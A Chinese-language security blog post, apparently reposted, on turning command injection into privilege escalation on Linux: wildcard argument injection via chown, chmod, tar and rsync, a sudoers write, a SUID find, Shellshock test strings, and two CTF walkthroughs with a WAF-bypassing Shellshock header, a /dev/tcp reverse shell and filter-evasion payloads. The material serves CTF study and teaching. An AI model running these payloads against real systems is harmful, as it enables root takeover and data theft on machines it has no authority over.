命令執行到提權



 

之前在補天平台首發了巧用命令注入的N種方式,看到了有幾個師傅衍生出了不同的幾個后續版本,都感覺挺不錯的,對我的版本進行了一些補充。本來這個總結應該算是前半部分,想寫的還沒寫完,當時又是在考試周,原本想在考試結束后就來寫后半部分,又因為各種事給推掉了。所以現在來寫后半部分提升篇,也算是對前半部分的補充與解釋。

 

提權

這里我們講講在命令注入中更有意思的一種方法。

Wildcard Wilderness

Example 1

首先我們先看一個示例

echo "Hello Friends" > file1 echo "This is wildcard Injection" >file2 echo "take help" > --help 

首先創建幾個文件,其中有一個是--help,然后使用cat命令讀取文件內容

cat file1
cat file 2
cat --help

如果按照我們預期的,是不是在第三個cat --help處應該是要讀取—help文件的內容呢?然而我們執行cat —help卻優先執行了cat命令的幫助選項,並沒有讀出—help里的內容。

不僅是catls等命令也會優先調用內置--help選項。

以及還有--all選項。

其實講道理,詞法分析把對諸如--help--all等選項優先處理為內置選項輸出,看起來並沒有任何問題

這個技巧叫做Wildcard wildness,中文有人譯為通配符在野。(-all--help可以通過加入././-all./--help來特指這個文件,避免這個問題)

Example 2

如圖,我們有兩個文件,當用rm *的時候,只刪掉了file1file2,並沒有刪除*

或者使用rm file1 file2 -rf逐個刪除之時,也只刪掉了file1file2

使用strace rm *我們可以發現

由於當前目錄中存在-rf文件名,rm-rf選項作為最后一個參數,並且遞歸刪除當前目錄中的所有文件。同樣,若要刪除可以加上./-rf進行刪除

Trick

我們可以利用Wildcard Wilderness做一些更有用的事情。

File Owner Hijacking

現在我們有三個用戶,一個zedd,一個test,一個root用戶。

我們分別用zeddtest創建了不同的文件,1.phptest.php都屬於test用戶的文件,zedd.php--reference=zedd.php均屬於zedd用戶的文件。

然后使用root用戶使用chown -R test:test *.php命令,想把本目錄下所有的.php文件修改為test用戶所有。

但是結果我們可以發現,結果該目錄下所有的.php文件都被修改為了zedd用戶所有,成功“提權”。

原理我們可以用strace chown -R zedd:zedd *.php來看一下(注意這里換了一下,模擬想把.php文件改變成zedd用戶所有)

我們可以看到

execve("/bin/chown", ["chown", "-R", "zedd:zedd", "config.php", "index.php", "--reference=.backdoor.php"], 0x7ffe5b43b1e8 /* 35 vars */) = 0 

跟我們上個例子原理其實一樣,--reference=.backdoor.php被作為一個選項進行了處理,而

--reference=RFILE  use RFILE's owner and group rather than
                         specifying OWNER:GROUP values

--reference=RFILE這個選項則是使用RFILE的文件擁有者和用戶組來改變文件屬性,而不是使用傳入的OWNER:GROUP參數。

因此,在這種情況下,chown--reference選項將覆蓋指定為root用戶輸入的參數zedd:zedd,把此目錄中所有.php文件的所有者改變與.backdoor.php的所有者test

所以,按照這種方法,我們可以劫持root將文件的所有權更改為任意用戶,並“劫持”我們想要的文件。

Chmod File Reference

類似chown的還有一個命令chmod,它也有--reference=RFIE的選項

--reference=RFILE  use RFILE's mode instead of MODE values 

chown類似,因為有--reference=.backdoor.php的存在,在使用chmod 000 *的時候也會把劫持到與.backdoor.php文件權限一樣的權限

Tar命令利用

首先我們來看看tar命令幫助文檔中的幾個有意思的選項

--checkpoint[=NUMBER] display progress messages every NUMBERth record (default 10) --checkpoint-action=ACTION execute ACTION on each checkpoint 

從幫助文檔,我們大致可以從中理解到,--checkpoint=1可以用來顯示信息,--checkpoint-action=exec=sh shell.sh可以用來執行命令

先嘗試構建一個shell.sh腳本,內容為/usr/bin/id,以及文件名為--checkpoint=1--checkpoint-action=exec=sh shell.sh的文件,使用tar -cf test.tar *把當前目錄下所有文件壓縮到test.tar壓縮包內

可見,/usr/bin/id已經被成功執行輸出。

與之前一樣,--checkpoint=1--checkpoint-action=exec=sh shell.sh被作為選項處理

在 2018 SWPUCTF 上有一道 web 題考點也正是利用了這個點,由於題目官方沒有開源,這里給一個比較詳細的 @一葉飄零 師傅寫的 wp 用於參考學習: 2018SWPUCTF-Web#信息再次發掘

rsync命令利用

rsync命令可能比較少用,我們這里簡單介紹一下

NAME

​ rsync - a fast, versatile, remote (and local) file-copying tool

rsync命令是一個遠程數據同步工具,可通過LAN/WAN快速同步多台主機間的文件。使用一個遠程shell程序(如rshssh)來實現將本地機器的內容拷貝到遠程機器。如:rsync -t *.c foo:src,復制當前本地文件夾下的所有的.c文件到 foo 遠程服務器的/src文件夾下。

rsync幫助文檔含有以下幾個比較有意思的選項

-e, --rsh=COMMAND           specify the remote shell to use
    --rsync-path=PROGRAM specify the rsync to run on remote machine 

--rsh=COMMAND又是一個我們可以利用的地方,我們首先創建一個文件名為-e sh shell.c的文件,然后再創建一個shell.c文件,污染rsync參數來實現執行我們在shell.c中寫入的預期命令

假設當前目錄下我們擁有一個只有root用戶可讀的rootfile文件,由於不能直接輸出結果,我們可以構造cat ./rootfile > ./output,將文件內容讀出。

得到的output文件是 644 的權限,這樣我們就成功構造了一個提權讀取的文件的 payload ,這里可能需要注意的是,只能提取到執行rsync用戶的權限,不是直接的root權限,這里因為執行命令的是root權限,所以能讀取只有root用戶才能讀取的rootfile文件

Tips

  • 既然能執行命令,其實我們可以參照上篇列舉的反彈 shell 的方式將 shell 反彈給我們,也可以配合msfvenom來使用。

  • tar命令比較多的都用在/etc/crontab計划任務中,經常會有管理員會用crontab來執行一些tar命令的備份操作,而且crontab執行的權限還是root權限,所以這是個很好利用的點

  • tar命令需要進入到--checkpoint=1文件所在的目錄內,如果加上絕對路徑將會失效,例如tar cf test.tar /var/www/html/*

    我們可以看到 shell 處理方式將/home/zedd/Desktop/test與目錄下的文件名逐個拼接起來,就達不到污染參數的效果了

  • 還可以用echo "zedd ALL=(root) NOPASSWD: ALL" > /etc/sudoers,把自己直接寫入管理員組

  • 利用chmod u+s /usr/bin/find提升為root權限執行,配合find命令的-exec COMMAND來執行命令,例如find f1 -exec "whoami" \;

文章中討論的技術可以以不同的形式在各種流行的Unix工具上應用,這里僅僅是拋磚引玉,列舉一部分命令。 在實際攻擊中,任意 shell 選項/參數都可以隱藏在常規文件中,管理員也不容易發現,比如使用.backdoor.php等形式。

Other

這里講講幾個雖然不屬於提權,但是也比較有意思的幾個點。

Echo

echo *可以用來顯示目錄,echo /???g可以用來探測文件

ln

NAME

​ ln - make links between files

ln命令常常用於鏈接兩個文件,而且分兩種鏈接模式,一種硬鏈接一種軟鏈接,詳細可以參考理解Linux硬鏈接與軟鏈接。這里主要講講軟鏈接,軟鏈接相當於我們 Windows 中的快捷方式,可以使用ln -s創建

例如,這里我們根目錄下有一個文件內容為flag{xxx}的名為flag文件,我們使用ln -s /flag file,在當前目錄下創建一個file文件鏈接到/flag,使用cat filephp -r "echo file_get_contents('file')"均可以讀取到/flag的內容。

這個軟鏈接讀取文件內容已經被多次利用

ShellShock(CVE-2014-6271)

Bash 4.3以及之前的版本在處理某些構造的環境變量時存在安全漏洞,向環境變量值內的函數定義后添加多余的字符串會觸發此漏洞,攻擊者可利用此漏洞改變或繞過環境限制,以執行任意的 shell 命令,甚至完全控制目標系統,詳細分析參考破殼(ShellShock)漏洞樣本分析報告

  • CVE-2014-6271 測試方式:

    env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

  • CVE-2014-7169 測試方式:(CVE-2014-6271補丁更新后仍然可以繞過)
    env -i X=';() { (a)=>\' bash -c 'echo date'; cat echo

從一道題看Shell Shock

題目地址:command-executor——來源於 HackMe

題目描述:

​ Here's my useless developer assistant website, try to execute your own command!

題目大體思路是:

  • 讀取源碼
  • Shell Shock命令執行
  • 重定向讀寫文件

題目設置為幾個功能,一個man命令的幫助文檔

選擇了ls,多了個請求參數file=ls

嘗試用其他命令,比如find

猜測eval("man /bin/" + command)或者一些其他的目錄

Tar Tester界面可以上傳壓縮包但是並沒有解壓,只是tar -tvf test.tar查看壓縮包內的內容

Cmd Exec界面只有兩個命令,一個ls,一個env

List files是個目錄列舉界面,可以列舉幾個目錄

觀察題目,題目 urlhttps://command-executor.hackme.inndy.tw/index.php?func=untar等均帶有func=xxx參數來展示頁面,猜測會有文件包含漏洞,嘗試使用func=php://filter/read=convert.base64-encode/resource=index讀取文件內容,成功得到回顯

解碼得到 index.php源碼

<?php
$pages = [
    ['man', 'Man'],
    ['untar', 'Tar Tester'],
    ['cmd', 'Cmd Exec'],
    ['ls', 'List files'],
];

function fuck($msg) {
    header('Content-Type: text/plain');
    echo $msg;
    exit;
}

$black_list = [
    '\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
    global $black_list;
    if(is_array($a)) {
        foreach($a as $key => $val) {
            waf($key);
            waf($val);
        }
    } else {
        foreach($black_list as $b) {
            if(preg_match("/$b/", $a) === 1) {
                fuck("$b detected! exit now.");
            }
        }
    }
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function execute($cmd, $shell='bash') {
    system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}

foreach($_SERVER as $key => $val) {
    if(substr($key, 0, 5) === 'HTTP_') {
        putenv("$key=$val");
    }
}

$page = '';

if(isset($_GET['func'])) {
    $page = $_GET['func'];
    if(strstr($page, '..') !== false) {
        $page = '';
    }
}

if($page && strlen($page) > 0) {
    try {
        include("$page.php");
    } catch (Exception $e) {
    }
}

function render_default() { ?>
<p>Welcome to use our developer assistant service. We provide servial useless features to make your developing life harder.</p>

<img src="windows-run.jpg" alt="command executor">
<?php }
?><!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <title>Command Executor</title>
    <link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
    <link rel="stylesheet" href="comic-neue/font.css" media="all">
    <style>
      nav { margin-bottom: 1rem; }
      img { max-width: 100%; }
    </style>
  </head>
  <body>
    <nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
      <a class="navbar-brand" href="index.php">Command Executor</a>

      <ul class="navbar-nav">
<?php foreach($pages as list($file, $title)): ?>
        <li class="nav-item">
          <a class="nav-link" href="index.php?func=<?=$file?>"><?=$title?></a>
        </li>
<?php endforeach; ?>
      </ul>
    </nav>

    <div class="container"><?php if(is_callable('render')) render(); else render_default(); ?></div>
  </body>
</html>

man.php源碼:

<?php
function render() { $file = 'man'; if(isset($_GET['file'])) { $file = (string)$_GET['file']; if(preg_match('/^[\w\-]+$/', $file) !== 1) { echo '<pre>Invalid file name!</pre>'; return; } } echo '<h1>Online documents</h1>'; $cmds = [ 'bash', 'ls', 'cp', 'mv' ]; echo '<ul>'; foreach($cmds as $cmd) { printf('<li><a href="index.php?func=man&file=%s">%1$s</a></li>', $cmd); } echo '</ul>'; printf('<h2>$ man %s</h2>', htmlentities($file)); echo '<pre>'; execute(sprintf('man %s | cat', escapeshellarg($file))); echo '</pre>'; } ?>

untar.php源碼:

<?php
function render() { ?> <h1>Tar file tester</h1> <p>Please upload a tar file to test</p> <form enctype="multipart/form-data" action="index.php?func=untar" method="POST">  <input type="file" name="tarfile" id="tarfile">  <input class="btn btn-primary" type="submit" value="Upload &amp; Test"> </form> <?php if(isset($_FILES['tarfile'])) { printf('<h2>$ tar -tvf %s</h2>', htmlentities($_FILES['tarfile']['name'])); echo '<pre>'; execute(sprintf('tar -tvf %s 2>&1', escapeshellarg($_FILES['tarfile']['tmp_name']))); echo '</pre>'; } } ?>

ls.php源碼:

<?php
function render() { $file = '.'; if(isset($_GET['file'])) { $file = (string)$_GET['file']; } echo '<h1>Dictionary Traversal</h1>'; echo '<ul>'; $dirs = ['.', '..', '../..', '/etc/passwd']; foreach($dirs as $dir) { printf('<li><a href="index.php?func=ls&file=%s">%1$s</a></li>', $dir); } echo '</ul>'; printf('<h2>$ ls %s</h2>', htmlentities($file)); echo '<pre>'; execute(sprintf('ls -l %s', escapeshellarg($file))); echo '</pre>'; } ?>

cmd.php源碼:

<?php
function render() { $cmd = ''; if(isset($_GET['cmd'])) { $cmd = (string)$_GET['cmd']; } ?> <h1>Command Execution</h1> <?php echo '<ul>'; $cmds = ['ls', 'env']; foreach($cmds as $c) { printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s</a></li>', $c); } echo '</ul>'; ?> <form action="index.php" method="GET">  <input type="hidden" name="func" value="cmd">  <div class="input-group">  <input class="form-control" type="text" name="cmd" id="cmd">  <div class="input-group-append">  <input class="btn btn-primary" type="submit" value="Execute">  </div>  </div> </form> <script>cmd.focus();</script> <?php if(strlen($cmd) > 0) { printf('<h2>$ %s</h2>', htmlentities($cmd)); echo '<pre>'; switch ($cmd) { case 'env': case 'ls': case 'ls -l': case 'ls -al': execute($cmd); break; case 'cat flag': echo '<img src="cat-flag.png" alt="cat flag">'; break; default: printf('%s: command not found', htmlentities($cmd)); } echo '</pre>'; } } ?>

接下來我們就可以利用ls.php來找flag了,因為ls.php沒什么過濾,所以用func=ls&file=../../../可以發現根目錄下的文件

接下來就是考慮怎么去讀了,man.php因為有preg_match('/^[\w\-]+$/', $file) !== 1限制得比較死,untar.php貌似只有tar -tvf並沒有什么用處,只有cmd.php給出了一個比較不太尋常的env這個命令,其實這樣也算是提示得比較明顯了,比較容易讓人想到也可以比較容易搜到ShellShock漏洞,並且在index.php中發現有

$black_list = [
 '\/flag', '\(\)\s*\{\s*:;\s*\};' ]; function waf($a) {  global $black_list;  if(is_array($a)) {  foreach($a as $key => $val) {  waf($key);  waf($val);  }  } else {  foreach($black_list as $b) {  if(preg_match("/$b/", $a) === 1) {  fuck("$b detected! exit now.");  }  }  } } waf($_SERVER); waf($_GET); waf($_POST); foreach($_SERVER as $key => $val) {  if(substr($key, 0, 5) === 'HTTP_') {  putenv("$key=$val");  } } 

關鍵就在putenv函數,由於ShellShock漏洞 padyload 需要參數

env x='() { :;}; echo vulnerable' bash -c "echo this is a test" 

我們就可以利用putenv實現參數傳遞,直接設置User-agent: () { :;}; echo 222222,發現被 waf

分析 waf 結合漏洞成因,我們可以在最后的};中間添加一個空格繞過,設置User-Agent: () { :;} ; echo 222222,成功發現輸出 22222 ,我們也可以使用() { _; } >_[$($())] { whoami; }這個 payload

發現當前用戶為www-data,而我們之前發現根目錄flag的權限為-r-------- 1 flag root 37 Jan 9 2018 flag,所以不能直接讀取,但是有一個flag-readerflag-reader.c的文件,這應該是題目提示了。因為index.php又把flag關鍵字屏蔽了,我們也不能直接讀取flag-reader.c,但是我們這里可以利用通配符讀取,例如使用fla*.c

使用() { _; } >_[$($())] { cat /fla*.c; }得到flag-reader.c源碼

Flag-reader.c:

#include <unistd.h> #include <syscall.h> #include <fcntl.h> #include <string.h> int main(int argc, char *argv[]) { char buff[4096], rnd[16], val[16]; if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) { write(1, "Not enough random\n", 18); } setuid(1337); seteuid(1337); alarm(1); write(1, &rnd, sizeof(rnd)); read(0, &val, sizeof(val)); if(memcmp(rnd, val, sizeof(rnd)) == 0) { int fd = open(argv[1], O_RDONLY); if(fd > 0) { int s = read(fd, buff, 1024); if(s > 0) { write(1, buff, s); } close(fd); } else { write(1, "Can not open file\n", 18); } } else { write(1, "Wrong response\n", 16); } } 

使用bash -c "sh >& /dev/tcp/your ip/port 0>&1"直接反彈 shell

運行flag-reader

審計一下這段代碼,大致是輸出一串隨機數,然后在1s之內又要輸入進去,否則就write(1, "Wrong response\n", 16);...

然而我在回彈 shell 之后,利用/tmp可寫的權限,貌似有點小問題,一旦cat /tmp/zedd,鏈接就斷掉了,無奈只能找其他文件夾,發現/run/lock/var/tmp均可讀可寫,使用/flag-reader flag > /run/lock/zedd < /run/lock/zedd寫入 flag

反彈 shell 使用cat非常容易斷掉,最好使用執行的方式,最后得到 flag

上篇的解釋與補充

特殊變量

這里再對上篇進行一定的補充與解釋。

$n

變量 含義
$0 當前腳本的文件名
$n 傳遞給腳本或函數的參數。n 是一個數字,表示第幾個參數。例如,第二個參數是$2(0<n<9)
${n} 9<n時需要加上大括號

例如,腳本文件如下

#!/bin/bash

echo "File Name: $0" echo "First Parameter : $1" echo "First Parameter : $2" 

執行腳本文件

$ ./test.sh Hello Zedd
File Name: ./test.sh
First Parameter : Hello
Second Parameter : Zedd

而當沒有參數的時候,$n就為空,所以我們可以用cat /fl$1ag這樣繞過關鍵字過濾,並且在 bash 環境下

$ echo $0 bash 

所以我們可以使用這樣的 payload ,可以用在 bash 這個關鍵字過濾但是有需要用到 bash 的情況下,前提是環境用的是 bash

$ {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 flag{xxx} 

$IFS

IFS(Internal Field Seprator) ,內部域分隔符,Shell 的環境變量分為 set, env 兩種,其中 set 變量可以通過 export 工具導入到 env 變量中。其中,set 是顯示設置shell變量,僅在本 shell 中有效;env 是顯示設置用戶環境變量 ,僅在當前會話中有效。換句話說,set 變量里包含了 env 變量,但 set 變量不一定都是 env 變量。這兩種變量不同之處在於變量的作用域不同。顯然,env 變量的作用域要大些,它可以在 subshell 中使用。

而 IFS 是一種 set 變量,當 shell 處理"命令替換"和"參數替換"時,shell 根據 IFS 的值,默認是 space, tab, newline 來拆解讀入的變量,然后對特殊字符進行處理,最后重新組合賦值給該變量。

$ echo $IFS $ echo "$IFS" | od -b 0000000 040 011 012 012 0000004 

我們可以看到直接輸出IFS是看不到的,把它轉化為二進制就可以看到了,"040"是空格,"011"是Tab,"012"是換行符"\n" 。最后一個 012 是因為 echo 默認是會換行的。

$?

上個命令的退出狀態,或函數的返回值。退出狀態是一個數字,一般情況下,大部分命令執行成功會返回0,失敗返回1。不過,也有一些命令返回其他值,表示不同類型的錯誤。

$

當前 Shell 進程 ID。對於 Shell 腳本,就是這些腳本所在的進程 ID。

$ echo $$ 75576 

$

傳遞給腳本或函數的參數個數。

腳本文件內容:

#!/bin/bash

echo "Total Number of Parameters : $#" 

執行命令

$ ./test.sh Hello Zedd
Total Number of Parameters : 2

\$*與\$@

都是傳遞給腳本或函數的所有參數。

腳本文件內容:

#!/bin/bash

echo "Quoted Values: $@" echo "Quoted Values: $*" 

執行命令:

$ ./test.sh Hello Zedd
Quoted Values: Hello Zedd
Quoted Values: Hello Zedd

它們不被雙引號(" ")包含時,都以"1""2" … "$n" 的形式輸出所有參數。

但是當它們被雙引號(" ")包含時,"∗"會將所有的參數作為一個整體,以"1 2…n"的形式輸出所有參數;"@"會將各個參數分開,以"1" "2"…"n" 的形式輸出所有參數。

內置變量繞過

上篇其實提到了一點內置變量繞過,但是講的也不並不多,只是大概提了一下。這里再給一些常用的 bash 內置的環境變量

$BASH

$ echo $BASH /usr/local/bin/bash 

返回 bash 二進制文件的路徑

$HOME

$ $HOME
bash: /Users/zedd: Is a directory

返回當前用戶所屬目錄

$PWD

$ echo $PWD / 

顯示當前目錄

$OLDPWD

$ echo $OLDPWD /Users/zedd/Desktop/ 

返回上次所在目錄

$PATH

$ echo $PATH /bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin:/sbin:/usr/sbin 

環境變量$PATH

$PS1

$ echo $PS1 \s-\v\$ 

看到的命令行主要提示

$PS2

$ echo $PS2 > 

額外輸入的輔助提示,表示為>$PS3是 Shell 腳本中使用select時的提示符,顯示為空,這里就不再單獨列舉了

$PS4

$ echo $PS4 + 

set -x配合用來修改跟蹤輸出的前綴,顯示為+

舉個例子

Layer7 CTF 2018

可以訪問https://cat.canhack.me/這個在線地址

題目描述

This service provides read the file.
https://cat.canhack.me/

This challenge was published in the Layer7 CTF in 2018.

WriteUp

點進去發現有

<b>Usage</b>: Please enter the parameter like as in <a href="/?file=test.txt">this</a>. 

跟進得到test.txt的內容

猜測為文件包含,嘗試直接讀取flagwaf,直接讀取https://cat.canhack.me/?file=index.php

<?php
    error_reporting(0); require __DIR__.'/flag-f72a161d445915d2bdcdc820c4143353.php'; if(isset($_GET['file'])){ if(preg_match('/flag|\'|\"|`|\\\\|;|\(|\)|\*|\?|\.\.|\//i', $_GET['file'])){ die('no hack'); } system('cat "'.$_GET['file'].'"'); }else{ echo '<b>Usage</b>: Please enter the parameter like as in <a href="/?file=test.txt">this</a>.'; } 

還剩下{}<>[]+-=^$@!&,是個關鍵字繞過,有$,我們很快可以聯想到可以用$n這種方式繞過,最終 payload

https://cat.canhack.me/?file=fl$1ag-f72a161d445915d2bdcdc820c4143353.php

參考:

Internal Variables

Shell中的IFS解惑

Shell 特殊變量

一個有趣的任意文件讀寫

利用通配符進行Linux本地提權

Unix Wildcards Gone Wild


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM